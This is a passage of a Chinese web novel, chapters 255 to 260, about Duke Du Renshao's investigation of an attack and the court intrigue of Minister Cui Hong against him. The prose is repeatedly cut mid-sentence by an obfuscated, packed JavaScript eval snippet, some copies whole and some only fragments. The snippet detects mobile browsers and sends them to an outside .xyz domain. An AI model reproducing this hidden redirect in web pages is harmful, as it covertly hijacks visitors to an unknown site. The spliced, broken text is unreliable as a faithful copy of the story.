“朕不是放任!”李睿声音提高,带着疲惫与无奈。 “朕要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545200|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是铁证!铁证!能服众的!只有这样才能铲除祸根!” “你今夜受袭,朕准你严查,但…凡事必须得依律法章程,不可以操之过急,给人留下把柄。” 杜仁绍明白了皇帝的意思:查可以,但不能像他打算的那样直接撕破脸。 最终压下怒气,“臣…遵旨!但请陛下允准,皇城司及京兆尹需全力配合臣缉拿贼人!” “准!”李睿点头,“朕会下旨,仁绍,朕信你,但…务必谨慎。” 杜仁绍带着一肚子愤懑离开了皇宫。 回头望了一眼崔府方向。 老狐狸,你以为躲在暗处就能高枕无忧? 咱们走着瞧! 他翻身上马,对亲随吩咐,“告诉赵无咎!按计划行事!拘人!” 翌日清晨,天还没亮。 皇城司的人分头去了御史周廷芳、兵部武库司郎中郑铎、京营参将孙彪的府邸。 “皇城司办案!开门!”急促的敲门声或者说砸门声打破了黎明前的宁静。 周廷芳披着衣裳匆匆出来,看到门外的赵无咎,心中一惊,面上却强装镇定。 “赵指挥使?这是何意?深大清早的……” “周御史,”赵无咎亮出腰牌,“昨夜镇国公府遇袭,鹿山军械库失火,两案或有牵连。” “奉上谕,请御史大人到皇城司协助调查,了解一些情况。请吧!” “岂有此理!本官乃朝廷御史,岂是你说拘就拘的?!”周廷芳有些急了。 “并非拘传,只是请去问话,陛下也知道这件事。周御史这是想抗旨?”赵无咎眼神一冷,手按上了刀柄。 他身后的缇骑立刻上前一步,压迫感十足。 周廷芳脸色白了又青,最终咬牙:“好!本官倒要看看,你们能问出什么!” 他甩袖,故作镇定地上了皇城司的马车,手心却满是冷汗。 类似的情景同时在郑铎和孙彪府上演。 郑铎想狡辩,却被直接架走。 孙彪倒是硬气,骂骂咧咧,但也不敢真反抗。 天色大亮时,这三位官员被“请”进皇城司的消息,像插了翅膀一样飞遍了整个京城,瞬间引发轩然大波。 第二百五十五章 三天时间 辰时,太极殿早朝,气氛紧张。 没等日常政务的奏报开始,一名崔派的御史便迫不及待地跳了出来,手持笏板,声音悲愤激昂。 “陛下,臣要**镇国公杜仁绍!挟私报复,滥用职权,纵容皇城司非法拘禁朝廷命官。” “御史周廷芳、兵部郎中郑铎、京营参将孙彪,他们都是朝廷忠臣,竟在凌晨像被土匪一样闯进府邸强行带走!” “此番行为把国法置于何地?置朝廷的颜面于何处?长此以往,百官怎么能安心?请陛下严惩杜仁绍,立即释放无辜的官员!” 一石激起千层浪。 霎时间,十几名崔派或依附崔家的官员纷纷附和。 “臣附议!杜仁绍恃功骄横,无法无天!江南之事已经是手段酷烈,如今竟然在京师重地行此构陷之事!其心可诛!” “陛下!皇城司乃是天子耳目,岂能沦为私人打手?杜仁绍此举,实乃动摇国本!寒天下士人的心啊!” “请陛下明鉴!立刻释放周御史等人!” 声音大的几乎要掀翻房顶,李睿坐在龙椅上,面沉如水,看不出喜怒。 杜仁绍立在武将首位,冷眼看着这群人表演。 等他派系的人被对方气势压得一时插不上话时,他才踏出一步,声音瞬间盖过了所有嘈杂。 “荒谬!” 殿内顿时安静下来,所有目光聚焦在他身上。 杜仁绍视线扫过那群**他的官员,最后向皇帝拱手:“陛下,臣昨夜府邸遭死士袭击,爱女受惊,部下死的死伤的伤,人员被掳。” “同一夜,鹿山军械库莫名起火,看守士兵尽数被迷晕,两个案子几乎同时发生,手段都阴毒诡异,不是寻常盗匪能有的本事。” 他声音提高:“臣奉旨查江南逆案,‘云山亭’余孽未清,鬼谷门妖人潜伏。” “昨夜的事与江南逆党手法如出一辙,臣请相关人等协助调查,何错之有?莫非在诸位大人眼中,本国公的性命家眷、朝廷军械重地,还比不上询问几个官员来的重要?” “还是说…诸位这么着急地阻拦调查,是心中有鬼,怕查出什么来?” 他这番话有理有据,直接把案子性质拔高到逆党作乱、危及京城安全的高度,顺便反将一军。 支持杜仁绍的武将和部分清流立刻反应过来,纷纷出声: “国公爷所言极是!逆党猖獗,正当严查!” “协助调查并没有错,你们为什么反应如此激烈?莫非真有什么见不得光的勾当?” “陛下!京师安全重于一切!臣支持彻查!” 朝堂之上顿时又吵作一团,双方唇枪舌剑,互不相让,几乎要演变成菜市场。 龙椅上的李睿脸色越来越黑。 “够了!”李睿猛地一拍龙案,发出一声巨响。 殿内瞬间鸦雀无声。 李睿深吸一口气,目光扫过下面的众臣,最后落在杜仁绍和那名带头**的御史身上,声音疲惫却带着威严。 “京师昨夜连发大案,朕心里也很担忧,镇国公府遇袭,缉拿歹人,查明真相,乃当前第一要务。” 他顿了顿,话锋一转:“然,拘问朝廷命官,确实得谨慎,杜卿。” 杜仁绍躬身:“臣在。” “三天,朕只给你三天,皇城司需要问明情况,若没有疑问,即刻放人。若有实证…” 李睿目光一冷,“无论涉及何人,依法严办,绝不姑息!” “臣,遵旨!”杜仁绍应道。 三天虽然紧,但够了! 李睿又看向那帮崔派官员:“尔等也不必喧哗。清者自清,浊者自浊。” “若周卿等人确实无辜,朕自会还他们清白,在此期间,任何人不得再以此事攻讦朝臣,扰乱朝纲!退朝!” 皇帝各打五十大板,实则是默许了杜仁绍的调查,而且还限定了时间。 崔派官员虽然心有不甘,却也不敢再闹,只能悻悻然退下。 杜仁绍看着他们离去,冷哼一声。 较量才刚刚开始。 与朝堂上的喧嚣相比,太傅崔泓的府邸却是一派反常的宁静。 花厅内,檀香袅袅。 崔泓一身锦袍,正慢条斯理地烹茶,动作行云流水,丝毫看不出他就是昨夜安排袭击的罪魁祸首,一副完全不知道朝堂上是因为他而起的风波。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二百五十六章 第一天 窗外的天渐渐亮了,光线透过窗棂,照在他的脸上。 良久,提笔蘸墨写了几封信。 一封是给宫中那位常年礼佛、看似不问世事,却在先帝还在时颇有影响力的老太妃。 一封是给两位虽然已经致仕还乡,但门生故旧遍布六部、在清流中一言九鼎的老臣。 信中,他只字未提自身遭遇,未提周廷芳等人被拘,更没有提昨夜的事情。 内容全然是一副忧国忧民、鞠躬尽瘁的老臣肺腑之言。 “…近来朝局波澜频生,臣每思之,夜不能寐。陛下英明,然身边或有骄横之辈,恃功而傲,行事酷烈,不循法度,长此以往,非社稷之福。臣非为一己之私,实忧国本动摇,奸佞误国…” “…江南一案,本为肃清逆党,然恐有人借机党同伐异,排除异己,致使朝堂人人自危,言路闭塞。臣深恐寒了天下忠臣良将之心…” “…臣年老体衰,唯愿陛下圣体安康,朝局平稳,亲贤臣,远小人……” 字字句句仿佛都滴着忠君爱国的血,全然一副为国事操碎了心、却反遭打压排挤的孤直老臣形象。 他把杜仁绍的严查扭曲为党同伐异、堵塞言路,将自己放在了道德和**的制高点上。 写完,他仔细吹干墨迹,取来特制的火漆,仔细封缄。 “崔安。”他对着空无一人的花厅唤了一声。 一个穿着灰布衫的老仆悄无声息地出现在门口,“老爷。” “这几封信走暗渠,务必亲手交到收信人手中,确保万无一失。”崔泓将信递过去。 “是。”老仆双手接过,小心塞到怀里便退了出去,没有发出半点声响。 崔泓深知,很多时候,这些“局外”或“德高望重”之人的耳边风,比朝堂上直来直往的攻讦更有效。 它们能在皇帝心中种下猜疑的种子,能在不知不觉中影响**的风向。 做完这一切,他才重新坐回椅中,端起凉透了的茶饮尽。 杜仁绍啊杜仁绍,你以为握着一星半点的线索,凭着陛下给你的三天时间,就能动我这崔家? 未免太过天真幼稚,这朝堂的水深不见底。 比的不仅仅是证据,更是耐心、是心术、是盘外招、是看谁先沉不住气。 他轻轻放下茶杯,发出轻响。 咱们…就慢慢玩。 看是你的刀更利,还是我的老根更牢。 皇城司诏狱深处,阴冷潮湿,空气中弥漫着一股铁锈、血腥和霉变混合的味儿。 火把在墙壁上跳跃,投下扭曲的阴影。 赵无咎站在刑室外,面色冷硬。 刑室内,御史周廷芳并没有被上刑具,甚至还有一张简陋的桌椅和一盏油灯。 他穿着凌乱的官袍,坐在那里,脸色有些苍白,但眼神依旧带着文官特有的倨傲。 “周御史,”赵无咎的声音在廊道里回荡,不带丝毫感情,“昨夜戌时至子时,你在何处?可有人证?” 周廷芳吞咽了一下口水,“赵指挥使,本官昨日下朝后便一直在府中书房处理公务,直到亥时才歇下。” “府中仆役、门房都可以作证,指挥使莫非怀疑本官与那宵小之徒有关?真是天大的笑话!” “鹿山军械库的郑铎郑郎中,与你私交如何?近日可曾往来?”赵无咎不理他的辩解,继续问道。 “郑郎中?”周廷芳皱起眉,一副努力回忆的样子。 “同朝为官,自是相识。但兵部与御史台公务并无太多交集,近日…并没有私下往来。指挥使此言何意?” “京营孙参将呢?听说他上月曾宴请过你?” “绝无此事!”周廷芳直接否认,甚至带上了被侮辱的愤慨,“孙参将乃是武职,本官身为御史,岂会与他私相授受?指挥使不要血口喷人!” 他的回答滴水不漏,所有时间线都有合理的人证,所有的关系都被撇得一干二净,态度上更是摆足了清流言官不屑与武夫、贪吏为伍的架势。 赵无咎看了他片刻,没有再多问,转身走向下一间刑室。 兵部武库司郎中郑铎则显得惶恐得多。 他额头上满是冷汗,说话都有些结巴,但内容与周廷芳如出一辙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551240|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整晚在家,家人作证;与周御史不熟;与孙参将仅仅是公务往来;对昨夜的事一无所知。 问得急了,就开始哭官卑职小、谨小慎微,绝不敢参与这种大逆不道的事。 而京营参将孙彪那边,则是另一番光景。 他情绪激动,带着武将的蛮横。 “赵无咎!你凭什么抓老子?老子昨夜在营中巡哨!多少弟兄都看见了!鹿山库失火?关老子屁事!老子还没问你皇城司是怎么当的差,能让贼人摸到军械库去!” “周廷芳?那个碎嘴的御史?老子瞧不上!郑铎?一个管仓库的酸丁!老子跟他们喝个鸟毛的酒!” 他骂骂咧咧,看着粗鲁不羁,破绽百出,但关键的时间、人证、关系,全都推得干干净净,让你明知他可能不老实,却一时找不到突破口。 赵无咎连续审了三人,手段用尽,从例行问话到言语恐吓,再到抛出一些试探的证据。 但这三人就像是早就统一过口径,又或者是真的不知道内情,一时半会儿有用的证据都没得到。 与此同时,派去搜查黑衣人和小翠下落的缇骑回报。 “…城西废弃车马行发现转移的痕迹,但追出两条巷子后,所有痕迹消失,像是被人刻意清扫过。” “…询问了周边更夫、住户,无人听到异常动静,也没有见到可疑车辆人员。” “…就像是人间蒸发,毫无线索。” 而鹿山军械库那边,皇城司的勘查也陷入了僵局。 大火将丙字库房烧得只剩残垣断壁,有用的物证几乎都没有了。 那些被迷晕的守卫醒来后,众口一词:什么都没看见,什么都没听见,就像是集体睡死过去了。 军医查验,也只说是中了某种强效**,来源不明。 所有的线索,都陷入了一团迷雾之中。 赵无咎站在皇城司大堂,听着回来人的说辞,脸色阴沉得能滴出水来。 他握紧了拳,对方准备太充分了,都是他没有预料到的。 三天期限,第一天眼看就要过去,却毫无进展。 第二百五十七章 新发现 镇国公府内。 李梵娘并没有因为外面的乱子而断了自己的节奏。 她把春儿交给张大娘和心腹丫鬟照料,自己则一头扎进了的药室。 窗扉紧闭,桌上灯火通明。 那些从现场收集来的毒烟灰烬和**,被分门别类放在白瓷盘和油纸上。 空气中弥漫着淡淡的苦涩。 李梵娘神色专注,先用银针小心地拨弄着灰烬,仔细观察它的色泽质地,偶尔凑近闻闻。 她取来一小撮灰烬,放到薄瓷片上,滴了几滴特制的药液。 嗞嗞声响起,瓷片上的混合物迅速发生了变化,泛起诡异的绿色泡沫,还释放出一种甜中带着腥的气味。 “曼陀罗、乌羽玉…还有…西域幻麻?”她低声自语,眉头紧蹙。 这三种都是致幻**剧毒,尤其是西域幻麻,极为罕见,管控极严。 接着,她目光转向那枚乌黑发青的**上。 她用银刀小心的刮下尖儿上的粉末,分做几份开始试验。 一份遇酒化开,呈现出浑浊的紫黑色。 一份遇酸,则冒出刺鼻的黄烟。 另一份在火上炙烤,竟然发出一种类似腐肉的恶臭… 李梵娘的脸色越来越凝重。 她起身从一旁锁着的柜子里取出一本有些卷毛的旧册子。 这是她根据江南密室中那些残缺的毒经、结合现代知识,一点点整理、推测、验证后记录下来的。 “…七步倒…蛇见愁…不对…” “…黑心莲…腐骨草…配比不对…” 她的目光最终定格在几页配方图上,上面的某些成分特性与她刚刚折腾出来的现象高度吻合。 “是了…”她深吸一口凉气,指尖点着一处批注。 “‘碧血瘴’,鬼谷门秘传复合剧毒,以血蟾酥、腐心兰为主,辅以…墨玉髓粉?见血封喉,中者血液凝滞泛蓝,尸身久而不腐…” 墨玉髓?又是这个东西? 之前是江南密室实验记录,然后是苏婉听来的兵部异常采购,现在是袭击国公府死士的**。 这个发现让李梵娘脊背发凉。 她立刻意识到,对方远比表面上看起来的朝堂倾轧要可怕得多。 她猛地站起身,因起得太急眼前有些发黑,连忙扶住桌沿站稳。 连日来的忧心、劳累、以及高度紧张,让她的身体发出了**。 她缓了缓神,心中那份对春儿、对杜仁绍、乃至对整个京城安危的担忧达到了顶峰。 她必须立刻将这个消息告诉杜仁绍。 她匆匆将毒物样本小心收好,拿着笔记快步走出药室,向书房走去,脚步因为心急和眩晕显得有些虚浮。 走到书房门口,正听到杜仁绍在里面与幕僚交谈,声音里带着怒气和疲惫,显然赵无咎那边的进展极其不顺。 李梵娘推门进来。 杜仁绍见她脸色苍白,立刻挥手让幕僚退下,快步迎上来扶住她:“梵娘?你怎么了?脸色这么差?是不是累着了?” “仁绍,我没事。”李梵娘摇摇头,将笔记摊开在书案上,指着那条关于“碧血瘴”和“墨玉髓”的记录,语气急促。 “你看这个,我确认了,昨夜**上的毒,就是鬼谷门这种名为‘碧血瘴’的独门剧毒,其中关键的一味药引,就是墨玉髓粉!” 杜仁绍目光一凝,看向那笔记。 他虽然不通毒理,但那“墨玉髓”三个字,确实可以看懂的。 “而且,”李梵娘继续说,声音轻颤,“这个**毒性烈,炼制复杂,对方能把它用到死士实战上,说明他们对墨玉髓的研究已经不短了。” “恐怕…已经掌握了不少类似的歹毒之物。” 她抬起头,眼中满是担忧,“仁绍,他们想要的怕不只是是权力。” “我担心…担心他们还有更大的图谋,甚至…可能危及京城安危!” 他伸手握住李梵娘微凉的手,“我明白了。梵娘,多亏有你…” “看来,赵无咎那边问不出东西是正常的,对方…早就织好了一张大网。” “我们必须…找到新的突破口。” 他来回踱了两步,猛地停下:“梵娘,你刚才说,这毒炼制复杂,需要墨玉髓粉?” “那么京城之内,或者说他们必然有一个隐蔽的场所,用来炼制这些东西,所需器具、原料、尤其是墨玉髓的储存,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551241|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能没有痕迹!” 李梵娘眼睛一亮:“对!炼制时候肯定有异响异味,或者废料,寻常药铺工坊绝不敢碰,他们必然有一个隐蔽的据点!” “而且墨玉髓这东西,他们从何而来?”杜仁绍思路越来越清晰,“之前苏婉听到兵部异常采购,但经过昨夜,他们肯定会更小心,或者他们有囤积?” 他立刻走到门口,对候在外面的亲随吩咐,“立刻去皇城司,告诉赵无咎,改变搜查方向!” “一来重点排查京城内外所有近期有异常动静、或是有特殊气味、废弃物排放的偏僻院落、废弃工坊。” “甚至是…寺庙庵堂的偏僻净室!尤其注意是否有地窖、暗室!” “二来让户部的人协助,秘密核查近三个月,不,近半年来所有进入京城的矿物、药材记录,特别是那些看似不起眼、但来源地可疑。” “或者用量与登记用途明显不符的批次,重点查与崔家有关联的商行经手的!” “三是让咱们的人,盯死崔家子弟以及他们名下所有产业,包括他们常去的别院庄园,看看是否有异常的人员、物资进出!” “是!”亲随快步离去。 杜仁绍回身,握住李梵娘的手,发现她指尖冰凉微微发颤。 再看她脸色,比刚才更难看了,额角渗出虚汗。 “梵娘!”他心头一紧,扶她到椅子上坐下,“你是不是哪里不舒服?是不是刚才查验那些毒物…” 他想到那些剧毒,一阵后怕。 李梵娘摇摇头,强压下那股恶心和眩晕感:“我没事,可能就是…有点累,加上心急。” 她勉强笑了笑,“分析这些东西,耗神了些。” 杜仁绍却不放心,朝外喊道:“来人!去请太医!” “不用!”李梵娘连忙阻止,“我自己的身子自己清楚,就是没休息好。眼下正是关键时候,别兴师动众。” 她深吸一口气,“我歇一会儿就好,你快去忙,正事要紧。” 杜仁绍知道拗不过她,“那你好生歇着,我让厨房给你炖点安神的汤水,有任何不适立刻告诉我,不许硬撑!” “知道了。”李梵娘点点头,闭眼靠在椅背上。 第二百五十八章 有喜 杜仁绍深深看了一眼闭目靠在椅背上李梵娘,她眼下一片淡淡的乌青,脸色苍白得让人心疼。 他压下心头的焦灼与怜惜,转身轻手轻脚地走出书房,对候在外面的管家低声吩咐:“你去厨房吩咐一下。” “让他们用上好的山参和莲子,炖一盅安神补气的汤水来,要清淡些。” “再告诉张大娘,夫人累了,需要静养,无事不要打扰。” “是,国公爷。”管家应下,匆匆而去。 杜仁绍望着庭院,深深吸了一口气。 赵无咎那边进展不顺,对方狡猾,线索还似有似无,就像一拳打在棉花上,让他憋闷不已。 而梵娘的身体…… 他眉头紧锁,方才她强撑的模样不断在脑中回放。 他了解她,若不是实在不适,绝不会露出那样脆弱的神情。 他回到书房时,李梵娘依旧保持着那个姿势,就像睡着了。 杜仁绍取过薄毯盖在她身上,动作虽然轻了很多,但还是惊动了她。 李梵娘睁开眼,声音有些沙哑:“什么时辰了?” “还早,你再歇会儿。”杜仁绍在她身旁坐下,握住她微凉的手,“感觉如何?可还有哪里不舒服?” 李梵娘轻轻摇头,想要坐直身体:“好多了,只是有些乏力。” 她顿了顿,指尖搭上自己的腕脉,这是她多年行医养成的习惯。 然而,这一次,指尖下的搏动却让她微微一怔。 那脉象……流利圆滑,如珠走盘…… 她脸上的血色一点点褪去,取而代之的是一种复杂的情绪,惊喜只是一瞬,随即被忧虑取代。 杜仁绍察觉到她的异样,心猛地一提:“怎么了?脉象有何不妥?” 他虽然不通医理,但看她的样子,应该是有什么问题。 李梵娘抬眼望向他,扯出一抹笑却带着苦涩:“仁绍……我……我好像有了身孕。” “身孕?”杜仁绍愣住,一时没反应过来,等他明白这两个字意味着什么时几乎要跳起来。 “真的?梵娘!这是天大的喜事啊!” 他们已有春儿,如今再添新丁,自是锦上添花。 然而,李梵娘脸上却不见多少喜色,反而忧心忡忡:“是喜事……可是仁绍,你想想眼下这光景。” “崔家虎视眈眈,京城暗流涌动,鬼谷门余孽未清……这孩子来得……实在不是时候。” 她抚上尚且平坦的小腹,语气低沉,“我担心……担心我们能否护他周全。” 这句话像一盆冷水,浇灭了杜仁绍大半的喜悦。 他脸上的笑僵住,缓缓坐下,将妻子揽入怀中。 是啊,如今他们身处漩涡中心,每一步都如履薄冰。 这个孩子,是希望,也是软肋,会成为敌人攻击的目标。 “别怕,”杜仁绍手臂收拢,“有我在。无论如何,我绝不会让你们母子有失。” “这孩子是我们的福星,他的到来,只会让我更有力量去扫清这些魑魅魍魉。” 李梵娘靠在他怀里,听着他的心跳,心中的不安稍微缓解了一些。 她轻轻“嗯”了一声,闭上眼。 然而,心底的不安依旧无法驱散,如影随形。 这个孩子,注定要在风雨飘摇中成长了。 当晚,杜仁绍亲自盯着李梵娘喝了安神汤,又强迫她早早歇下。 他坐在床边,看着她沉沉睡去,呼吸渐渐均匀,才稍稍放心。 烛火摇曳,映着他棱角分明的侧脸,此刻满是化不开的柔情。 他深知未来的路很难走,但他杜仁绍何曾惧过? 为了妻儿,为了这个家,任何挡路的障碍,他都会毫不犹豫地铲除,只是需要更谨慎了。 他轻轻抚过李梵娘微蹙的眉心,心中有了决断。 李梵娘有孕的消息,被杜仁绍压下去,只有府内几个心腹知道,连春儿都暂时瞒着,只说是母亲劳累需要静养。 然而,世上没有不透风的墙,尤其是当无数双眼睛时刻盯着镇国公府的时候。 崔府,书房内檀香袅袅。 崔泓听完管事的的消息,执棋的手微微一顿,随即若无其事地将一枚黑子落在棋盘上。 “哦?镇国公府近日频繁延请太医署擅长妇科的圣手?府内采购也多添了安胎补气的药材?”他声音平淡,听不出喜怒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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类似的声音,如同瘟疫一样,在勋贵女眷的赏花会、在清流文臣的诗社雅集、甚至在内宫一些笃信神佛的妃嫔嬷嬷之间传播开来。 第二百五十九章 以退为进 这些话自然也传到了杜仁绍耳中。 他气的一拳砸在案上,震得笔架乱颤:“无耻!竟敢咒我妻儿!” 他眼中杀意沸腾,恨不得立刻提刀去崔府问个明白。 李梵娘却显得平静许多。 她拉住暴怒的杜仁绍,轻抚着自己的小腹,“仁绍,你现在动怒的话正中他们下怀。” “他们就是想激怒你,让你自乱阵脚,这种下作伎俩,理它作甚?清者自清。” “可我咽不下这口气!他们竟敢……”杜仁绍气的胸口剧烈起伏。 “咽不下也要咽。”李梵娘语气坚定,“此时与他们争辩,只会越描越黑,让流言传得更广更真。” “我们越是平静,他们反而无计可施,当务之急是保护好我们自己,平安生下这个孩子,这才是对他们最有力的回击。” 杜仁绍深吸几口气,强压下翻腾的怒火。 他知道梵娘说得对,冲动解决不了问题。 但这份口气,他记下了。 崔泓老贼,咱们来日方长! 然而,流言的恶毒,还是不可避免地影响到了府内。 春儿虽然被瞒着,但偶尔听到丫鬟婆子们的窃窃私语,脸上也蒙上了一层不安。 张大娘更是忧心忡忡,每日里对着菩萨像祈祷的次数越发频繁。 流言如附骨之蛆,虽然没有在明面上掀起波澜,却像**一样悄悄侵蚀着。 杜仁绍几次在早朝上,都能感受到一些异样的目光。 尤其是那些与崔家亲近的御史言官,虽然没有直接发难,但眼神中的探究和指责让他如芒在背。 这日回府,杜仁绍脸色阴沉。 李梵娘正靠在软榻上看医书,见他神色,便知道朝中怕是又有烦心事儿了。 她放下书,“可是又有人借机生事?” 杜仁绍冷哼一声:“几个跳梁小丑,含沙射影,说什么‘为将者当积阴德,以福荫子孙’。” “说白了就是说我杀孽太重,连累家眷,若不是陛下在场,我定要他们好看!” 李梵娘叹了口气,拉他坐下,递上一杯温茶:“何必和他们置气,他们越是这样,越说明他们心虚技穷,只能靠这些魑魅手段。” “只是……长久下去,恐怕对你在朝中的声望不利,陛下耳根子虽然硬,但也架不住三人成虎。” 杜仁绍何尝不明白这个道理。 他沉默片刻,目光落在她尚未显怀的小腹上,眼中闪过决断:“梵娘,你说得对。” “我们不能一直被他们牵着鼻子走,或许……我们该换个策略了。” 李梵娘抬眼看他:“你的意思是?” “示弱。”杜仁绍吐出两个字,“他们不是攻击我戾气重,担心你胎象吗?那我们就顺势而为。” “我明日便向陛下上书,以你孕期需要静养、我心绪不宁为由,请求暂时卸去部分军务,闭门谢客,专心陪护你安胎。” 李梵娘微微一怔,随即明白了他的意图,这是准备以退为进。 一方面降低敌人的警惕,为自己争取布局的时间。 另一方面也是将计就计,用“关爱妻儿”的形象,对冲那些“煞气重”的污蔑,占据道德制高点。 “这个法子可行。”李梵娘沉吟道,“只是如此一来,明面上的许多事情,你便不好插手了。赵无咎和王猛那边……” “无妨。”杜仁绍成竹在胸,“调查转入地下更方便行事。” “府内有密道通往外界,赵无咎和王猛都是可以信任的人,正好借此机会,让他们放开手脚去查,我在府中‘静养’,反而能好纵观全局。” 两人心中稍安。 杜仁绍当即写了一封情真意切又不失分寸的奏章,字里行间充满对妻子的担忧与对朝廷的愧疚,请求皇帝允准他暂时卸下重担。 翌日早朝,杜仁绍出列,手持奏本,声音沉痛:“陛下,臣有本奏。” 他将奏章内容说出来,说到动情处,甚至眼眶微红。 “内子自江南归来,身体一直未能完全康复,近日又……” “臣实在心中担忧不已,恐因私事耽误公事和国事,更害怕因为臣心绪不宁,导致决策有失,愧对陛下信任。” “恳请陛下体恤,准臣暂卸京营巡防及部分军务,在府中静思己过,陪伴内子安胎。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556700|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一番话,听得满朝文武神色各异。 支持杜仁绍的将领面露关切,而崔派官员则互相交换着眼神,满眼得意,认为他们的流言奏效了。 李睿看了杜仁绍片刻,又扫过下方众臣的反应,心中了然。 他沉吟半晌,“杜爱卿忧心家室,乃是人之常情,你的请求朕准了。” “京营巡防暂交沈追代管,爱卿便在府中好生照料夫人,待夫人安康,再为朝廷效力不迟。”说完还特意赏赐了不少安胎补品。 “臣,谢主隆恩!”杜仁绍躬身谢恩,姿态放得极低。 退朝后,杜仁绍无视那些或同情或嘲讽的目光,径直回了府。 一进府门,他脸上那副担忧的神情便收起来了,取而代之的是警觉与冷静。 “传令下去,即日起,闭门谢客,不是陛下亲自召见或极紧要的事,一律不见。” 他对管家吩咐完,又低声补充,“让赵无咎和沈追,入夜后从老地方来见我。” 镇国公府的大门关闭。 杜仁绍揽着李梵娘,站在庭院望着高墙外的天空。 退,是为了更好的进。 夜色渐深,镇国公府内一片静谧,只有巡夜护卫的脚步声和远处传来的更梆声。 书房内,烛火通明。 杜仁绍在桌上铺开一张详尽的京城及近郊舆图。 李梵娘坐在一旁,手中拿着笔在纸上不时标注。 “府门已经关了,明面上的眼线暂时被隔绝在外面了。”杜仁绍指尖点着舆图上的几个点,“但这只是开始。” “崔泓老谋深算,绝不会因为我称病告假就放松警惕,暗中的窥探只会更多。” 李梵娘点头,笔尖在靠近西山的标记上顿了顿:“关键在于,我们如何能在不惊动这些眼睛的情况下,将指令传递出去,并收到外面的消息。” “赵无咎和王猛那边,必须尽快联系上。” 杜仁绍走到书架旁,看似随意地抽出一本《武经总要》,手指在书脊某处轻轻一按。 只听机括响动,书架向一侧滑开,露出后面一条仅容一人通过的暗道,石阶向下,隐没在黑暗中。 第二百六十章 染布坊 “这条密道还是当年太祖皇帝赏赐这府邸时,为防止有不测所建的,直通城外一处废弃的土地庙。”杜仁绍低声道。 “知道这个密道的人除了历代家主,不超过五人,赵无咎和王猛是知晓并能使用的。” 李梵娘看着那深不见底的暗道,心中稍安。 有了这条通道,确实方便许多。 “事不宜迟,“我这就让暗卫去联系他们,明晚子时,在这见面。” 他唤来贴身暗卫首领,低声吩咐下去。 杜仁绍关闭机关,书架恢复原状。 他回到案前,握住李梵娘的手:“梵娘,接下来一段日子,府外由我应对,你只需安心养胎。” “教**局和信息网那边,没有重要的事就不要亲自过问了,让信得过的弟子多分担些。” 李梵娘知道这是为了保护她和孩子,顺从地点点头:“我明白,我会小心。” “但信息网的关键线索汇总我还是要看的,心中有数,才能帮你一起考虑问题。” “好,但切忌劳神。”杜仁绍看着她倔强的样子,知道拦不住,只能再三叮嘱。 夫妻二人又商议了一些细节,直至深夜。 府外,关于镇国公“惧内”、“意志消沉”的流言在崔家的推波助澜下愈演愈烈。 子时刚过。 书架再次滑开,赵无咎和王猛一前一后走进来,带着一身寒气。 两人都穿着夜行衣,动作轻捷,显然对这条密道极为熟悉。 “国公爷!夫人!”两人抱拳行礼,声音压得极低。 杜仁绍示意他们坐下,李梵娘也微微颔首致意。 “外面情况如何?”杜仁绍开门见山。 赵无咎率先开口,语气凝重:“回国公爷,您闭门谢客后,崔家那边的明面上的动作确实少了,但暗中的监视加强了许多。” 